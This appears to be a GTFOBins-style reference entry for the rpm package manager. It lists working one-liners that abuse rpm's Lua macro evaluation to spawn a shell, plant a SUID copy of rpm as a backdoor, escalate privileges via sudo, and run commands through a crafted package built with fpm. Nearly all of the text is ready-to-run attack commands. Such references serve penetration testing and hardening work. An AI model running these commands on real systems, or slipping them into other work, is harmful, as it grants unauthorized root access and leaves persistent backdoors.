It can be used to break out from restricted environments by spawning an interactive system shell.
rpm --eval '%{lua:os.execute("/bin/sh")}'
It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p
, omit the -p
argument on systems
like Debian that allow the default sh
shell to run with SUID privileges.
sudo sh -c 'cp $(which rpm) .; chmod +s ./rpm'
./rpm --eval '%{lua:os.execute("/bin/sh", "-p")}'
It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo
.
sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
sudo rpm -ivh x-1.0-1.noarch.rpm